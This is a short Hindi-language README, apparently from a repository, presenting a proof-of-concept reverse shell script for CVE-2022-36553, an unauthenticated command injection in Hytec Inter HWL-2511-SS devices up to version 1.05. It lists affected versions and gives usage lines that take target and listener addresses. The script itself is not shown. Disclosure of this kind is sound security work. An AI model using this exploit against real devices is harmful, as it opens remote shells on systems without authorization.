CVE-2022-36553 - Hytec Inter HWL-2511-SS अनप्रमाणित रिमोट कमांड इंजेक्शन।

अवलोकन

इस रिपॉजिटरी में CVE-2022-36553 का शोषण करने के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) रिवर्स शेल स्क्रिप्ट शामिल है, जो Hytec Inter HWL-2511-SS उपकरणों में एक गंभीर कमजोरी है। यह स्क्रिप्ट एक व्यावहारिक प्रदर्शन है, जो मेरे ब्लॉग पोस्ट "Hytec Inter HWL-2511-SS - Vulnerability Report" में दिए गए गहन विश्लेषण को पूरक करती है।

प्रभावित संस्करण

सभी Hytec Inter HWL-2511-SS उपकरण संस्करण 1.05 और उससे नीचे के।

PoC स्क्रिप्ट उपयोग

# Usage: python HWL-2511-SS.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python HWL-2511-SS.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

वीडियो प्रूफ ऑफ कॉन्सेप्ट

नोट

केवल शैक्षिक उद्देश्य के लिए।